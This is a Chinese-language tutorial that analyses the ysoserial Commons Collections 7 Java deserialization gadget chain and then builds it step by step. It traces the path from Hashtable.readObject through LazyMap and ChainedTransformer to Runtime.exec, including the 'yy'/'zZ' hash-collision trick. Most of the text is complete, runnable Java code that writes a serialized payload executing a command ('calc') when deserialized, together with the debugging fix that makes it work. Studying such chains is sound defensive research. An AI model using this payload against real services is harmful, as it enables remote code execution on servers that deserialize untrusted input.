Commons Collections是Apache软件基金会的一个开源项目,它提供了一组可复用的数据结构和算法的实现,旨在扩展和增强Java集合框架,以便更好地满足不同类型应用的需求。该项目包含了多种不同类型的集合类、迭代器、队列、堆栈、映射、列表、集等数据结构实现,以及许多实用程序类和算法实现。它的代码质量较高,被广泛应用于Java应用程序开发中。
先看下ysoserial的利用链
Payload method chain:
java.util.Hashtable.readObject
java.util.Hashtable.reconstitutionPut
org.apache.commons.collections.map.AbstractMapDecorator.equals
java.util.AbstractMap.equals
org.apache.commons.collections.map.LazyMap.get
org.apache.commons.collections.functors.ChainedTransformer.transform
org.apache.commons.collections.functors.InvokerTransformer.transform
java.lang.reflect.Method.invoke
sun.reflect.DelegatingMethodAccessorImpl.invoke
sun.reflect.NativeMethodAccessorImpl.invoke
sun.reflect.NativeMethodAccessorImpl.invoke0
java.lang.Runtime.exec
LazyMap.get后面和CC1的国外链一样,只是上半部分变了
AbstractMap是HashMap的父类,先跟进到AbstractMap.equals
在472行调用了get方法
再看一下AbstractMapDecorator.equals,AbstractMapDecorator是LazyMap的父类
调用了map的equals方法
map在LazyMap进行了赋值
所以现在LazyMap#decorate传进去参数,然后调用LazyMap.equals,它会调用到父类的equals,然后调用到HashMap的父类AbstractMap.equals,满足判断条件后会调用get方法
代码实现
public static void main(String[] args) throws Exception{
Transformer[] transform1 = new Transformer[]{
new ConstantTransformer(Runtime.class),
new InvokerTransformer("getMethod",new Class[]{String.class,Class[].class},new Object[]{"getRuntime",null}),
new InvokerTransformer("invoke",new Class[]{Object.class,Object[].class},new Object[]{null,null}),
new InvokerTransformer("exec",new Class[]{String.class},new Object[]{"calc"})
};
ChainedTransformer chainedTransformer = new ChainedTransformer(transform1);
HashMap<Object, Object> map1 = new HashMap<>();
HashMap<Object, Object> map2 = new HashMap<>();
map1.put(1,2);
map2.put(3,4);
Map decorate1 = LazyMap.decorate(map1, chainedTransformer);
Map decorate2 = LazyMap.decorate(map2, chainedTransformer);
decorate1.equals(decorate2);
}
看一下Hashtable.reconstitutionPut,判断e.hash ==
hash,两次传递的key,经过hashCode处理后的hash需要相同
然后又看到reconstitutionPut被当前类的readObject调用
构造链
package org.example;
import org.apache.commons.collections.Transformer;
import org.apache.commons.collections.functors.ChainedTransformer;
import org.apache.commons.collections.functors.ConstantTransformer;
import org.apache.commons.collections.functors.InvokerTransformer;
import org.apache.commons.collections.map.LazyMap;
import java.io.*;
import java.lang.reflect.Field;
import java.util.HashMap;
import java.util.Hashtable;
import java.util.Map;
public class CC7_Test {
public static void main(String[] args) throws Exception{
Transformer[] transform = new Transformer[]{
new ConstantTransformer(Runtime.class),
new InvokerTransformer("getMethod",new Class[]{String.class,Class[].class},new Object[]{"getRuntime",null}),
new InvokerTransformer("invoke",new Class[]{Object.class,Object[].class},new Object[]{null,null}),
new InvokerTransformer("exec",new Class[]{String.class},new Object[]{"calc"})
};
ChainedTransformer chainedTransformer = new ChainedTransformer(new Transformer[0]);
HashMap<Object, Object> map1 = new HashMap<>();
HashMap<Object, Object> map2 = new HashMap<>();
map1.put("yy",1);
map2.put("zZ",1);
Map decorate1 = LazyMap.decorate(map1, chainedTransformer);
Map decorate2 = LazyMap.decorate(map2, chainedTransformer);
Hashtable objectObjectHashtable = new Hashtable();
objectObjectHashtable.put(decorate1,1);
objectObjectHashtable.put(decorate2,2);
Class c = chainedTransformer.getClass();
Field iTransformers = c.getDeclaredField("iTransformers");
iTransformers.setAccessible(true);
iTransformers.set(chainedTransformer,transform);
serialize(objectObjectHashtable);
unserialize("ser.bin");
}
public static void serialize(Object obj) throws Exception{
ObjectOutputStream objectOutputStream = new ObjectOutputStream(new FileOutputStream("ser.bin"));
objectOutputStream.writeObject(obj);
System.out.println("serialize");
}
public static Object unserialize(String str) throws IOException, ClassNotFoundException {
ObjectInputStream objectInputStream = new ObjectInputStream(new FileInputStream(str));
Object obj = objectInputStream.readObject();
System.out.println("unserialize");
return obj;
}
}
代码调试
运行后没有弹计算器
调试发现size=1,m.size等于2,进入了if里面直接返回了false
将第一个map传进去的值移除再次调试通过了if
decorate2.remove("yy")
完整代码
package org.example;
import org.apache.commons.collections.Transformer;
import org.apache.commons.collections.functors.ChainedTransformer;
import org.apache.commons.collections.functors.ConstantTransformer;
import org.apache.commons.collections.functors.InvokerTransformer;
import org.apache.commons.collections.map.LazyMap;
import java.io.*;
import java.lang.reflect.Field;
import java.util.HashMap;
import java.util.Hashtable;
import java.util.Map;
public class CC7_Test {
public static void main(String[] args) throws Exception{
Transformer[] transform = new Transformer[]{
new ConstantTransformer(Runtime.class),
new InvokerTransformer("getMethod",new Class[]{String.class,Class[].class},new Object[]{"getRuntime",null}),
new InvokerTransformer("invoke",new Class[]{Object.class,Object[].class},new Object[]{null,null}),
new InvokerTransformer("exec",new Class[]{String.class},new Object[]{"calc"})
};
ChainedTransformer chainedTransformer = new ChainedTransformer(new Transformer[0]);
HashMap<Object, Object> map1 = new HashMap<>();
HashMap<Object, Object> map2 = new HashMap<>();
map1.put("yy",1);
map2.put("zZ",1);
Map decorate1 = LazyMap.decorate(map1, chainedTransformer);
Map decorate2 = LazyMap.decorate(map2, chainedTransformer);
Hashtable objectObjectHashtable = new Hashtable();
objectObjectHashtable.put(decorate1,1);
objectObjectHashtable.put(decorate2,2);
Class c = chainedTransformer.getClass();
Field iTransformers = c.getDeclaredField("iTransformers");
iTransformers.setAccessible(true);
iTransformers.set(chainedTransformer,transform);
decorate2.remove("yy");
serialize(objectObjectHashtable);
unserialize("ser.bin");
}
public static void serialize(Object obj) throws Exception{
ObjectOutputStream objectOutputStream = new ObjectOutputStream(new FileOutputStream("ser.bin"));
objectOutputStream.writeObject(obj);
System.out.println("serialize");
}
public static Object unserialize(String str) throws IOException, ClassNotFoundException {
ObjectInputStream objectInputStream = new ObjectInputStream(new FileInputStream(str));
Object obj = objectInputStream.readObject();
System.out.println("unserialize");
return obj;
}
}









